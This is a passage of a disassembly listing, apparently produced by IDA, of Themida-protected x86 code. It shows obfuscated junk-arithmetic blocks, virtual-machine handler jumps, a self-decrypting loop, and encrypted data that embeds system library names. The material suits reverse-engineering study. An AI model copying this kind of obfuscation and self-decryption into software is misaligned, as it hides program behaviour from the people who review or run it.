; ---------------------------------------------------------------------------


loc_565598:				; CODE XREF: Themida_:00556C1Ej
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_555DEC
; ---------------------------------------------------------------------------


loc_5655A8:				; CODE XREF: Themida_:0055B963j
		pop	edi
		jmp	loc_556998
; ---------------------------------------------------------------------------


loc_5655AE:				; CODE XREF: Themida_:0055D66Ej
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5563FB
; ---------------------------------------------------------------------------


loc_5655BC:				; CODE XREF: Themida_:00557122j
		pop	eax
		and	eax, ebx
		jmp	loc_557C2D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_5587EF
; ---------------------------------------------------------------------------


loc_5655CC:				; CODE XREF: Themida_:0055AE51j
		push	1FCDh
		mov	[esp], edx
		push	146Eh
		mov	[esp], eax
		mov	eax, 1D051736h
		shl	eax, 7
		shl	eax, 1
		jmp	loc_55D49F
; ---------------------------------------------------------------------------


loc_5655EB:				; CODE XREF: Themida_:00562E23j
		mov	[esp], edi
		jmp	loc_5545F0
; ---------------------------------------------------------------------------


loc_5655F3:				; CODE XREF: Themida_:005554B3j
		push	ecx
		mov	cl, 67h
		push	edx
		mov	dl, 0CFh
		sub	dl, 61h
		jmp	loc_556FC1
; ---------------------------------------------------------------------------


loc_565601:				; CODE XREF: Themida_:00553DD4j
		pop	esi
		add	edi, ebp
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_555FA4
; ---------------------------------------------------------------------------


loc_565613:				; CODE XREF: Themida_:00563D4Cj
		pop	edx
		neg	esi
		not	esi
		push	edi
		mov	edi, 579F425Ch
		add	edi, 0FFFFFFFFh
		jmp	loc_556F32
; ---------------------------------------------------------------------------


loc_565626:				; CODE XREF: Themida_:0055C63Dj
		push	eax
		mov	eax, 24006D38h
		add	edi, eax
		pop	eax
		add	ebx, 64EC6245h
		add	ebx, edi
		push	ecx
		jmp	loc_55634E
; ---------------------------------------------------------------------------


loc_56563D:				; CODE XREF: Themida_:005545CAj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_558350
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_56565A:				; CODE XREF: Themida_:00551E0Cj
		mov	[esp], ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_562879
; ---------------------------------------------------------------------------


loc_56566F:				; CODE XREF: Themida_:0055E0A3j
		push	0D59234Fh
		pop	ecx
		jmp	loc_563D25
; ---------------------------------------------------------------------------


loc_56567A:				; CODE XREF: Themida_:00555FABj
		mov	[esp], ebp
		push	5BE4h
		jmp	loc_5616E3
; ---------------------------------------------------------------------------


loc_565687:				; CODE XREF: Themida_:00554DDCj
		mov	edi, edx
		mov	ebx, edi
		pop	edi
		pop	edx
		add	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_561797
; ---------------------------------------------------------------------------


loc_565697:				; CODE XREF: Themida_:00557742j
		and	edx, 0A7363E8h
		sub	edx, 0A744C8EFh
		add	ebx, edx
		pop	edx
		mov	esi, [esp]
		push	548Eh
		mov	[esp], edi
		push	esp
		jmp	loc_561DC4
; ---------------------------------------------------------------------------


loc_5656B7:				; CODE XREF: Themida_:0055541Dj
		mov	ebx, 1
		sub	edx, ebx
		pop	ebx
		inc	edx
		shr	edx, 4
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		push	esi
		mov	esi, 56670AE0h
		push	edi
		mov	edi, 502E1601h
		jmp	loc_55BD46
; ---------------------------------------------------------------------------


loc_5656DB:				; CODE XREF: Themida_:00556F5Ej
		mov	[esp], eax
		jmp	loc_561E76
; ---------------------------------------------------------------------------


loc_5656E3:				; CODE XREF: Themida_:0056075Dj
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5656F7:				; CODE XREF: Themida_:00565350j
		pop	ebx
		add	dl, 9Fh
		add	cl, dl
		pop	edx
		add	al, cl
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5592F6
; ---------------------------------------------------------------------------


loc_565711:				; CODE XREF: Themida_:0056393Ej
		push	76F1h
		mov	[esp], esp
		sub	esp, 4
		jmp	loc_55D9C9
; ---------------------------------------------------------------------------


loc_565721:				; CODE XREF: Themida_:0055B97Cj
		add	ecx, 5E5E3C23h
		add	ecx, ebp
		jmp	loc_55FB46
; ---------------------------------------------------------------------------


loc_56572E:				; CODE XREF: Themida_:00561605j
		sub	eax, esi
		sub	eax, 46AC7A57h
		pop	esi
		mov	edi, [esp]
		jmp	loc_55F6FA
; ---------------------------------------------------------------------------


loc_56573E:				; CODE XREF: Themida_:00563887j
		mov	[esp], ecx
		mov	ecx, 6A27099Eh
		push	edx
		mov	edx, 4D744047h
		and	ecx, edx
		pop	edx
		sub	ecx, 0E48FBC18h
		or	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, eax
		xor	eax, edx
		xor	edx, eax
		add	eax, 0FFFFFFFFh
		xchg	eax, edx
		add	edx, 27D3369Ah
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 308A34B9h
		add	[esp+8], esi
		jmp	loc_551309
; ---------------------------------------------------------------------------


loc_565787:				; CODE XREF: Themida_:00556DD3j
		push	ecx
		jmp	loc_557CE1
; ---------------------------------------------------------------------------


loc_56578D:				; CODE XREF: Themida_:005582E0j
		push	edx
		mov	dl, 0DBh
		xor	dl, 3Ch
		and	cl, dl
		pop	edx
		neg	cl
		dec	cl
		sub	cl, 16h
		sub	bl, cl
		pop	ecx
		sub	bl, 39h
		jmp	loc_552FB1
; ---------------------------------------------------------------------------


loc_5657A8:				; CODE XREF: Themida_:0055E601j
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	2Ch
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 779D703Ah
		sub	edx, ecx
		pop	ecx
		sub	edx, 1DA55E51h
		add	edx, edi
		add	edx, 1DA55E51h
		add	edx, 779D703Ah
		push	ecx
		mov	ecx, 0
		add	ecx, edx
		push	edx
		mov	edx, 0
		add	edx, ecx
		add	eax, [edx]
		pop	edx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		jmp	loc_561944
; ---------------------------------------------------------------------------


loc_56582D:				; CODE XREF: Themida_:00557DD8j
		sub	ebx, 764D2083h
		push	edx
		mov	edx, 21185C4Ah
		add	edx, 6B895E43h
		shl	edx, 7
		sub	edx, 0E8983BB2h
		jmp	loc_5537D7
; ---------------------------------------------------------------------------


loc_56584D:				; CODE XREF: Themida_:00552DB2j
		mov	[esp], edi
		mov	edi, 6EA02EEh
		add	eax, edi
		pop	edi
		pop	ecx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_55D04E
; ---------------------------------------------------------------------------


loc_565867:				; CODE XREF: Themida_:00555BAFj
		sub	eax, edi
		add	eax, 7189172Fh
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 408C6DAEh
		push	ebp
		mov	ebp, 9001D6Bh
		shl	ebp, 3
		not	ebp
		xor	ebp, 1A7A3AAAh
		xor	ebp, 0CACC3909h
		jmp	loc_552F9E
; ---------------------------------------------------------------------------


loc_565899:				; CODE XREF: Themida_:005618DAj
		push	5419h
		mov	[esp], ebx
		jmp	loc_5564DE
; ---------------------------------------------------------------------------


loc_5658A6:				; CODE XREF: Themida_:005617D6j
		sub	bl, al
		add	bl, 95h
		push	eax
		mov	ah, 84h
		jmp	loc_55B861
; ---------------------------------------------------------------------------


loc_5658B3:				; CODE XREF: Themida_:005641F5j
		add	esi, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_563808
; ---------------------------------------------------------------------------


loc_5658C1:				; CODE XREF: Themida_:00557DF5j
		add	ebp, 2
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_551E6A
; ---------------------------------------------------------------------------


loc_5658D6:				; CODE XREF: Themida_:00554194j
		pop	ebp
		jmp	loc_55871B
; ---------------------------------------------------------------------------


loc_5658DC:				; CODE XREF: Themida_:00560D77j
		mov	[esp], ebp
		push	4067C5Ch
		mov	ebp, [esp]
		push	7E45h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_55B9D9
; ---------------------------------------------------------------------------


loc_5658F6:				; CODE XREF: Themida_:005526D7j
		sub	al, 2
		sub	al, 0AFh
		add	al, dh
		jmp	loc_55CD18
; ---------------------------------------------------------------------------


loc_565901:				; CODE XREF: Themida_:00552619j
		or	[edi+1Ch], ebx
		pop	ebx
		jmp	loc_55DE7A
; ---------------------------------------------------------------------------


loc_56590A:				; CODE XREF: Themida_:0055E0F9j
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		jmp	loc_55D9D6
; ---------------------------------------------------------------------------


loc_565920:				; CODE XREF: Themida_:00552232j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55F04E
; ---------------------------------------------------------------------------


loc_56592E:				; CODE XREF: Themida_:00561B81j
		pop	ecx
		add	esp, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_5575B6
; ---------------------------------------------------------------------------


loc_565945:				; CODE XREF: Themida_:00561CC8j
		mov	ebp, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_55F55E
; ---------------------------------------------------------------------------


loc_565959:				; CODE XREF: Themida_:00557EFFj
		and	edi, 41FC64D6h
		xor	edi, 41DC6488h
		xor	edx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	esi, edx
		pop	edx
		add	ebp, 45B17284h
		add	ebp, esi
		sub	ebp, 45B17284h
		jmp	loc_552AAF
; ---------------------------------------------------------------------------


loc_565986:				; CODE XREF: Themida_:0055D0F1j
		mov	esp, [esp]
		and	[esp], eax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_565992:				; CODE XREF: Themida_:00556AB1j
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_5525DB
; ---------------------------------------------------------------------------


loc_5659A0:				; CODE XREF: Themida_:00550EBAj
		mov	dl, ch
		mov	bh, dl
		jmp	loc_55E9A6
; ---------------------------------------------------------------------------


loc_5659A9:				; CODE XREF: Themida_:00551213j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55B81D
; ---------------------------------------------------------------------------


loc_5659BD:				; CODE XREF: Themida_:00554541j
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_56225C
; ---------------------------------------------------------------------------


loc_5659CB:				; CODE XREF: Themida_:005555AFj
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_558C29
; ---------------------------------------------------------------------------


loc_5659F3:				; CODE XREF: Themida_:0055FD48j
		sub	dh, ch
		sub	dh, 0D7h
		add	dh, 97h
		mov	ecx, [esp]
		add	esp, 4
		mov	ch, dh
		pop	edx
		jmp	loc_55D192
; ---------------------------------------------------------------------------


loc_565A0C:				; CODE XREF: Themida_:0055B007j
		not	edx
		not	edx
		xor	edx, 68DD1EE6h
		or	eax, edx
		pop	edx
		dec	eax
		add	eax, 6B82463Bh
		inc	eax
		sub	eax, 0D09075FFh
		sub	edx, eax
		pop	eax
		jmp	loc_5530C2
; ---------------------------------------------------------------------------


loc_565A2D:				; CODE XREF: Themida_:005513AAj
		sub	ebp, 4730E9D4h
		inc	ebp
		dec	ebp
		neg	ebp
		jmp	loc_558958
; ---------------------------------------------------------------------------


loc_565A3C:				; CODE XREF: Themida_:00551FC6j
		sub	ebp, 5E97563Dh
		sub	ebp, 1EB25EA9h
		mov	ebx, [esp]
		jmp	loc_5637EA
; ---------------------------------------------------------------------------


loc_565A50:				; CODE XREF: Themida_:0055904Cj
		add	ebx, 0EE00893Dh
		sub	[esp+4], ebx
		jmp	loc_553A50
; ---------------------------------------------------------------------------


loc_565A5F:				; CODE XREF: Themida_:0055415Bj
		sub	ebx, edi
		pop	edi
		push	edx
		mov	edx, 21A90A78h
		or	ebx, edx
		pop	edx
		and	ebx, 1F2E1438h
		push	5DEFh
		mov	[esp], ebx
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_55A707
; ---------------------------------------------------------------------------


loc_565A87:				; CODE XREF: Themida_:0055103Dj
		pop	esp
		sub	dh, 1
		or	dh, 15h
		sub	dh, 0B7h
		push	ecx
		jmp	loc_56350C
; ---------------------------------------------------------------------------


loc_565A97:				; CODE XREF: Themida_:0055F476j
		mov	edx, ebp
		pop	ebp
		sub	ebx, 37AC292Dh
		jmp	loc_55741D
; ---------------------------------------------------------------------------


loc_565AA5:				; CODE XREF: Themida_:0055D9C4j
		mov	eax, 7E5838FBh
		push	edx
		jmp	loc_55E343
; ---------------------------------------------------------------------------


loc_565AB0:				; CODE XREF: Themida_:005536EAj
		sub	ebp, 26B55E78h
		add	ebp, ebx
		add	ebp, 26B55E78h
		pop	ebx
		jmp	loc_560CB4
; ---------------------------------------------------------------------------


loc_565AC4:				; CODE XREF: Themida_:0055D3BAj
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_562E9C
; ---------------------------------------------------------------------------


loc_565ACF:				; CODE XREF: Themida_:00550FEDj
		pop	esp
		jmp	loc_56553F
; ---------------------------------------------------------------------------


loc_565AD5:				; CODE XREF: Themida_:005639A2j
		push	esp
		jmp	loc_553684
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_554254
; ---------------------------------------------------------------------------


loc_565AE4:				; CODE XREF: Themida_:0055BC0Cj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_557690
; ---------------------------------------------------------------------------


loc_565AF4:				; CODE XREF: Themida_:0055720Dj
		or	ebx, edx
		pop	edx
		jmp	loc_562476
; ---------------------------------------------------------------------------


loc_565AFC:				; CODE XREF: Themida_:005584BEj
		mov	dh, 91h
		jmp	loc_56365F
; ---------------------------------------------------------------------------


loc_565B03:				; CODE XREF: Themida_:005604F3j
		add	esp, 4
		sub	esi, 7DBB6BFBh
		jmp	loc_550B53
; ---------------------------------------------------------------------------


loc_565B11:				; CODE XREF: Themida_:00552837j
		add	edi, ebp
		mov	ebp, [esp]
		jmp	loc_551120
; ---------------------------------------------------------------------------


loc_565B1B:				; CODE XREF: Themida_:0055B067j
		neg	eax
		xchg	eax, edx
		push	ecx
		push	edx
		pop	ecx
		pop	edx
		xor	ebp, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		shr	ebp, 4
		xor	ebp, 3035426Eh
		jmp	loc_550A9E
; ---------------------------------------------------------------------------


loc_565B36:				; CODE XREF: Themida_:005590C2j
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, esp
		push	eax
		push	4EA71FA0h
		pop	eax
		neg	eax
		jmp	loc_55F833
; ---------------------------------------------------------------------------


loc_565B4F:				; CODE XREF: Themida_:00552B84j
		or	esi, ecx
		push	dword ptr [esp]
		jmp	loc_55F26F
; ---------------------------------------------------------------------------


loc_565B59:				; CODE XREF: Themida_:005629D2j
		push	ebx
		mov	ebx, 10050983h
		shr	ebx, 5
		or	ebx, 0F377A94h
		dec	ebx
		sub	esp, 4
		mov	[esp], eax
		push	edi
		mov	edi, 1E66C23Fh
		jmp	loc_55F130
; ---------------------------------------------------------------------------


loc_565B7D:				; CODE XREF: Themida_:005587CCj
		push	7AB7h
		mov	[esp], eax
		push	esp
		pop	eax
		push	ecx
		push	edi
		push	308F5ADFh
		mov	edi, [esp]
		push	esi
		jmp	loc_55B1A3
; ---------------------------------------------------------------------------


loc_565B97:				; CODE XREF: Themida_:0055DEC7j
		movzx	cx, ah
		push	small 13FCh
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_565BAF:				; CODE XREF: Themida_:0055718Bj
		push	4DF36FE4h
		mov	edx, [esp]
		push	esi
		jmp	loc_55A4BD
; ---------------------------------------------------------------------------


loc_565BBD:				; CODE XREF: Themida_:00559726j
		push	small 15h
		mov	[esp], ax
		jmp	loc_5535CC
; ---------------------------------------------------------------------------


loc_565BCA:				; CODE XREF: Themida_:0055F4CFj
		add	esp, 4
		jmp	loc_55DD01
; ---------------------------------------------------------------------------


loc_565BD2:				; CODE XREF: Themida_:00564BE7j
		sub	ebx, 0FFFFFFFFh
		xor	ebx, 41AC535Dh
		add	eax, 72DF7901h
		add	eax, 5B7C1545h
		sub	eax, 5F9F57A4h
		sub	eax, ebx
		add	eax, 5F9F57A4h
		push	edx
		mov	edx, 56CC6E56h
		not	edx
		sub	edx, 1
		jmp	loc_561762
; ---------------------------------------------------------------------------


loc_565C04:				; CODE XREF: Themida_:005570C5j
		pop	edx
		push	ecx
		mov	ecx, esp
		jmp	loc_5567F8
; ---------------------------------------------------------------------------


loc_565C0D:				; CODE XREF: Themida_:0056108Cj
		mov	edi, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 1
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	ecx
		push	edx
		mov	edx, 1
		mov	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	8A6h
		mov	[esp], eax
		push	ebx
		mov	ebx, 421E5A62h
		or	ebx, 7FA67195h
		jmp	loc_564564
; ---------------------------------------------------------------------------


loc_565C53:				; CODE XREF: Themida_:00557318j
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		shr	eax, 0Ch
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_550914
; ---------------------------------------------------------------------------


loc_565C76:				; CODE XREF: Themida_:00564669j
		mov	eax, 20E0017h
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		jmp	loc_55E5B7
; ---------------------------------------------------------------------------


loc_565C94:				; CODE XREF: Themida_:00561CE9j
		mov	ebx, 4023727Ch
		xor	ebx, 24610389h
		sub	esi, ebx
		pop	ebx
		add	esi, edi
		jmp	loc_550E04
; ---------------------------------------------------------------------------


loc_565CA9:				; CODE XREF: Themida_:0055DD5Fj
		add	ecx, eax
		push	edi
		mov	edi, 707750B7h
		jmp	loc_557C80
; ---------------------------------------------------------------------------


loc_565CB6:				; CODE XREF: Themida_:0055D90Aj
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_553CF0
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_565CD0:				; CODE XREF: Themida_:00543CF6j
					; Themida_:00565CD7j
		call	sub_565CDA
		sub	[edx], ebp
		jno	short loc_565CD0
		cld

; =============== S U B	R O U T	I N E =======================================



sub_565CDA	proc near		; CODE XREF: Themida_:loc_565CD0p

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00543FDB SIZE 0000004D BYTES
; FUNCTION CHUNK AT 00548440 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0054C5EC SIZE 00000007 BYTES

		add	edx, 50531626h
		pop	esi
		xor	ecx, 692585D5h
		add	esi, 6C9Dh
		sub	ebx, ebx
		xor	edx, 599012ABh


loc_565CF5:				; CODE XREF: sub_565CDA+6Bj
		push	dword ptr [ebx+esi]
		pop	eax
		mov	[ebp+60B0881h],	edi
		add	eax, 10E5DCACh
		xor	eax, 6B28EE53h
		mov	edx, [ebp+60B2D7Dh]
		sub	eax, 50A3A4F6h
		mov	edx, [ebp+60B16B5h]
		mov	[esi+ebx], eax
		cld
		and	edx, 7CFFC246h
		sub	ebx, 1C1A73B8h
		mov	[ebp+60B1B11h],	eax
		add	ebx, 1C1A73B4h
		jg	$+6
		cmp	ebx, 0FFFF93E4h
		jnz	loc_565CF5
		jmp	loc_565D5A
; ---------------------------------------------------------------------------
		dd 6D0E901Dh, 27042A5Ah
		db 0C9h, 4
; ---------------------------------------------------------------------------


loc_565D5A:				; CODE XREF: sub_565CDA+71j
		jmp	short loc_565D92
; ---------------------------------------------------------------------------
		dd 52455355h, 642E3233h, 41006C6Ch, 50415644h, 2E323349h
		dd 6C6C64h, 4C44544Eh, 6C642E4Ch, 7D7006Ch, 20008h, 0F0007h
		dd 1B0014h, 9C08029Eh
; ---------------------------------------------------------------------------
		cdq
		dec	ecx


loc_565D92:				; CODE XREF: sub_565CDA:loc_565D5Aj
		jmp	loc_56667F
; ---------------------------------------------------------------------------
		push	60D9DE8h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60D9E8Eh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60D9F84h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60DA0D8h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60DA13Ch
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60DA26Fh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60DA2D8h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		db 0E7h, 93h, 0A4h
		dd 0A474EBFh, 0DCED3CE9h, 0A190E607h, 704F55B2h, 0EE0D54E3h
		dd 5F48ABAAh, 0FF87B46h, 0F815CEF9h, 0B84192AFh, 80483CB0h
		dd 70DFC599h, 0BB33BD88h, 0C3941DCFh, 79066300h, 0DFB85A39h
		dd 4E584DFBh, 6FFD8616h, 9FEEC2C7h, 187F43BDh, 0BBF397CEh
		dd 7E059712h, 820978ECh, 0BC869D84h, 66F002C8h,	8486BACEh
		dd 3D350DD9h, 0D9848649h, 724AE4DEh, 0A3CB112Ah, 0A78F8D2Eh
		dd 0E4DB23D2h, 67F5CD4Ah, 8A506DB6h, 614E3B55h,	0ABBE0C26h
		dd 0FB1D3A41h, 1BDC0A50h, 0AE945289h, 2934BA50h, 0C8050EFFh
		dd 50B1303Fh, 2CE3676Ch, 75Ah, 0ED5EC36h, 0B8BB96E1h, 0D60D3C4Fh
		dd 1D2E139h, 0B2A19CE4h, 0FB01DC03h, 0A9EE1FC4h, 565E4F94h
		dd 0FE0BE47Fh, 1EB10C3h, 998099EDh, 399F6EC5h, 14F8D5DEh
		dd 98058814h, 0F4C8BC8Dh, 941D087Ch, 0E52E9FC3h, 4A90F4E8h
		dd 60303C15h, 0DD8A9312h, 7153E7E3h, 0CEA04EA2h, 992BDEA6h
		dd 0C32911BDh, 0EC00C3D2h, 3A66E398h, 43372B6Fh, 5978BE0Fh
		dd 0C4D03DAFh, 168D9652h, 0BD0C91D5h, 91F55964h, 0A730AFBDh
		dd 0BEA41D5Ch, 45A245E3h, 0C9B00433h, 8BFF77BCh, 1C3A667Ah
		dd 3405C226h, 6F866442h, 6B4249Bh, 46500000h, 0EC3BD40Fh
		dd 9AE906DDh, 4B53BCA7h, 0FA3EEF74h, 0B2B918DBh, 0E57E415Bh
		dd 15CEF308h, 4291ACF8h, 0FE6550A5h, 3357DF0Dh,	0B4C59983h
		dd 0D5DE5FC5h, 50A514F8h, 0B094A5F0h, 4F5E54CCh, 0F3C2D8C5h
		dd 231DCB0Fh, 32400D0Ah, 4527h,	832BB500h, 0C39415C7h
		dd 6ED47248h, 7BF8D5DEh, 823C72E9h, 40591178h, 27A7B0A6h
		dd 0C5C3941Dh, 0A7B70596h, 9D4B642Ch, 896A67B0h, 0A6B4CFADh
		dd 9E057B0Eh, 64F6CCBDh, 83506FB9h, 573B1262h, 621F0h
		dd 50BD1800h, 72DB7548h, 48A01421h, 536ABA34h, 1C79ED7Fh
		dd 91BD9F1Ch, 0DA56DA72h, 3047DE9Bh, 3122D01h, 0C4DCA1ADh
		dd 0F01DCF23h, 0DAF901A5h, 7EAF48E6h, 9BDB1835h, 7CF07A01h
		dd 446DF1CFh, 5F07A40h,	0EE1FC4F3h, 33BDAFA6h, 72B9CFBBh
		dd 0CC7A4030h, 0B5809544h, 7004F1BAh, 453A088Ch, 5BEh
		dd 0E271485Ah, 1CC7F205h, 4AA9A0F3h, 0E57E455Dh, 16CDF008h
		dd 5FA5B8AFh, 0D12F360h, 0B2C22330h, 5AAF589Bh,	0E507F46Fh
		dd 99820541h, 453B8AC5h, 14F8D5DEh, 5430B4C6h, 0DBC3941Dh
		dd 0B3C449E7h, 0D5C90013h, 8273F161h, 0DFC407Dh, 44C8F7h
		dd 25A0022Ch, 0ED990D9Fh, 62C3941Dh, 19EDBBC3h,	0C12573B6h
		dd 0E7055F27h, 0B33BC394h, 0C394E5D7h, 0AC0E6258h, 3241E970h
		dd 0FFFEF557h, 50BDB1FFh, 9A850944h, 0A013AEC9h, 45E3C759h
		dd 0F074BFC8h, 0C394D194h, 7FC3271Bh, 14C65D3Fh, 9FFABD90h
		dd 0E52EDFBDh, 592064E8h, 74D37D40h, 91184BD5h,	19477A6Dh
		dd 4C3BA3F6h, 68FC6E42h, 3A61E41Ch, 0A84BAF93h,	4795AECEh
		dd 6ADD462Fh, 7FC33744h, 7EF096F7h, 6E9F4D30h, 0B8FA1429h
		dd 5D38A72Dh, 146D47C0h, 4C300F19h, 50A51408h, 93BD9165h
		dd 2A6580A9h, 15CA926h,	46B70000h, 0D3683430h, 5A0E509h
		dd 5DA5BD9Fh, 0E8B5EC7Ah, 0E7B512BAh, 67668E5Ch, 0E89D859Fh
		dd 0AECE2E92h, 86354795h, 0C5DD50F7h, 714C593Bh, 6E63F31Dh
		dd 0FFA79024h, 53A4519Bh, 0F109F466h, 1E217BC2h, 8F577F0h
		dd 197DC1FCh, 38151EEFh, 52B0662Fh, 0DABD956Ch,	46Ah, 1EC5FC06h
		dd 48ABA6F1h, 0E67D4C5Fh, 11C2F109h, 4291ACF4h,	0B11ECF3h
		dd 0B9FE2F34h, 66AE5F84h, 0E1BF46Fh, 11DB2033h,	99BDE99Dh
		dd 298F7EC5h, 0E4760D6Fh, 99B0D040h, 0F17B5FBDh, 1EC5F004h
		dd 24A8A7F1h, 64608416h, 0AB3A667Eh, 11091ABBh,	0A3976010h
		dd 427F8885h, 63ABD285h, 46390986h, 406h, 0BAB990E2h, 0D40F3A4Dh
		dd 2D1E83Bh, 0BDA69DE5h, 0EE754850h, 97ED0057h,	455A4BA8h
		dd 0FA0AFB78h, 0A2F710C3h, 0ADBF4C97h, 99BC4D39h, 8D73C2C5h
		dd 84150BDh, 0BA1A6FDEh, 94785C69h, 77425746h, 7CBF50C8h
		dd 18361DBFh, 61D5E035h, 0BC2ABBF1h, 0C3942EE6h, 0AC102F77h
		dd 6A967468h, 46324122h, 0E8724D57h, 94200044h,	95B387C3h
		dd 0FFFD49CCh, 0D5DE28FFh, 7B8372F8h, 0ABA6F544h, 795957Dh
		dd 0B15CEE7Ch, 0ACE0546Bh, 5B635993h, 0DF093F02h, 9F086217h
		dd 297FAEBDh, 2F13F01Eh, 33BDCC34h, 941DCFBBh, 937A40C3h
		dd 8DC1B584h, 635F7263h, 4ED80219h, 1DDCA83Ch, 0FA53C394h
		dd 0D5299DA4h, 0BA8F57F1h, 8BBD9F05h, 49DE7B6Ch, 67F5C966h
		dd 6075BBCFh, 0D2360C3Ah, 0A40369FDh, 791E276h,	48E89BEFh
		dd 0F8166C92h, 9943D8A4h, 0CA5ECA22h, 0EA04F7F5h, 369DEC00h
		dd 0BD12EC43h, 95E95D68h, 0CFADCDB1h, 730EA6B4h, 0C4F64E11h
		dd 74816CFEh, 0F7019359h, 51D30B7Fh, 0AEA69C86h, 8651D3DAh
		dd 38BB55ADh, 408FBACFh, 3A90E841h, 0D3BD12F0h,	0B1000002h
		dd 18F56E65h, 0C6273C0Dh, 0B05D86BBh, 1F886B6Ah, 9A393A05h
		dd 5D60B853h, 2D106986h, 0F0CFD936h, 44718263h,	76FE729Fh
		dd 0C599BF12h, 6FBE2695h, 5AE4760Dh, 941DB6D2h,	27C139C3h
		dd 0B07B2145h, 8EF4BD99h, 6867B15Ch, 330A1A8Bh,	99A4FC29h
		dd 0D337D135h, 6FB9196Ah, 0B4A8EC50h, 6451F8BBh, 6C232786h
		dd 26Ah, 1EC5FC06h, 48ABA6F1h, 0E67D4C5Fh, 11C2F109h, 4291ACF4h
		dd 0B11ECF3h, 0B9FE2F34h, 66AE5F84h, 0E1BF46Fh,	11DB2033h
		dd 99BFE99Dh, 298F7EC5h, 0E4760D6Fh, 6D5CAB5Ah,	0C8BC8D9Ch
		dd 208A5AF4h, 1BBD99B0h, 0E183B3FCh, 0F7EB6094h, 0D764DB65h
		dd 7976F5D5h, 381C2D78h, 0DFEA3F0Eh, 1F6B830Dh,	903A66F1h
